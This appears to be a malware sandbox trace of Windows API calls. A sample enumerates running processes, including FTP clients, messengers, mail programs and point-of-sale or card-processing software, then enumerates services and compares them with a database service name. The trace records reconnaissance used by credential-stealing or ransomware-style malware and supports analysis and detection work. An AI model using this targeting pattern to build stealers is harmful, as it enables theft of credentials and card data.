	[0084.285] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0084.286] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0084.286] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0084.287] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0084.287] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0084.287] lstrlenW (lpString="modules.exe") returned 11
	[0084.288] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0084.288] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0084.288] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0084.288] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0084.289] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0084.289] lstrlenW (lpString="3dftp.exe") returned 9
	[0084.289] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0084.290] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0084.290] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0084.290] lstrlenW (lpString="alftp.exe") returned 9
	[0084.290] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0084.291] lstrlenW (lpString="barca.exe") returned 9
	[0084.291] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0084.292] lstrlenW (lpString="bitkinex.exe") returned 12
	[0084.292] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0084.293] lstrlenW (lpString="coreftp.exe") returned 11
	[0084.293] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0084.293] lstrlenW (lpString="far.exe") returned 7
	[0084.293] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0084.294] lstrlenW (lpString="filezilla.exe") returned 13
	[0084.294] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0084.295] lstrlenW (lpString="flashfxp.exe") returned 12
	[0084.295] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0084.388] lstrlenW (lpString="fling.exe") returned 9
	[0084.388] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0084.389] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0084.389] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0084.390] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0084.390] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0084.391] lstrlenW (lpString="icq.exe") returned 7
	[0084.391] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0084.392] lstrlenW (lpString="leechftp.exe") returned 12
	[0084.392] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0084.393] lstrlenW (lpString="ncftp.exe") returned 9
	[0084.393] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0084.394] lstrlenW (lpString="notepad.exe") returned 11
	[0084.394] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0084.394] lstrlenW (lpString="operamail.exe") returned 13
	[0084.394] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0084.398] lstrlenW (lpString="pidgin.exe") returned 10
	[0084.399] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0084.399] lstrlenW (lpString="scriptftp.exe") returned 13
	[0084.399] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0084.400] lstrlenW (lpString="skype.exe") returned 9
	[0084.400] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0084.401] lstrlenW (lpString="smartftp.exe") returned 12
	[0084.401] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0084.402] lstrlenW (lpString="thunderbird.exe") returned 15
	[0084.402] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0084.403] lstrlenW (lpString="totalcmd.exe") returned 12
	[0084.403] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0084.404] lstrlenW (lpString="trillian.exe") returned 12
	[0084.404] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0084.404] lstrlenW (lpString="webdrive.exe") returned 12
	[0084.404] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0084.405] lstrlenW (lpString="whatsapp.exe") returned 12
	[0084.405] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0084.406] lstrlenW (lpString="winscp.exe") returned 10
	[0084.406] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0084.407] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0084.407] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0084.408] lstrlenW (lpString="active-charge.exe") returned 17
	[0084.408] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0084.409] lstrlenW (lpString="accupos.exe") returned 11
	[0084.409] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0084.409] lstrlenW (lpString="afr38.exe") returned 9
	[0084.409] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0084.410] lstrlenW (lpString="aldelo.exe") returned 10
	[0084.410] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0084.411] lstrlenW (lpString="ccv_server.exe") returned 14
	[0084.411] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0084.412] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0084.412] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0084.413] lstrlenW (lpString="creditservice.exe") returned 17
	[0084.413] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0084.414] lstrlenW (lpString="edcsvr.exe") returned 10
	[0084.414] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0084.414] lstrlenW (lpString="fpos.exe") returned 8
	[0084.414] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0084.415] lstrlenW (lpString="isspos.exe") returned 10
	[0084.415] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0084.416] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0084.416] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0084.416] lstrlenW (lpString="omnipos.exe") returned 11
	[0084.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0084.417] lstrlenW (lpString="spcwin.exe") returned 10
	[0084.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0084.418] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0084.418] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0084.419] lstrlenW (lpString="utg2.exe") returned 8
	[0084.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0084.419] lstrlenW (lpString="explicit.exe") returned 12
	[0084.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0084.420] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0084.420] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.421] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.421] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0084.421] lstrlenW (lpString="UsoClient.exe") returned 13
	[0084.422] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.422] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.422] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0084.423] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0084.423] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0084.423] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0084.424] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.424] lstrlenW (lpString="conhost.exe") returned 11
	[0084.424] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.425] lstrlenW (lpString="conhost.exe") returned 11
	[0084.425] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.425] lstrlenW (lpString="svchost.exe") returned 11
	[0084.425] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0084.551] lstrlenW (lpString="fvppjh.exe") returned 10
	[0084.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.552] lstrlenW (lpString="svchost.exe") returned 11
	[0084.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0084.553] lstrlenW (lpString="cmd.exe") returned 7
	[0084.553] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.554] lstrlenW (lpString="conhost.exe") returned 11
	[0084.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0084.554] lstrlenW (lpString="dllhost.exe") returned 11
	[0084.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0084.555] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0084.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0084.555] lstrlenW (lpString="mode.com") returned 8
	[0084.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0084.556] lstrlenW (lpString="LogonUI.exe") returned 11
	[0084.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0084.556] CloseHandle (hObject=0x37c) returned 1
	[0084.557] Sleep (dwMilliseconds=0x1f4) 
	[0085.417] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e980
	[0085.418] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0085.418] GetLastError () returned 0xea
	[0085.418] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ddc) returned 0x32b4288
	[0085.419] EnumServicesStatusExW (in: hSCManager=0x75e980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32b4288, cbBufSize=0x1ddc, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32b4288, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0085.419] CloseServiceHandle (hSCObject=0x75e980) returned 1
	[0085.420] lstrlenW (lpString="Appinfo") returned 7
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
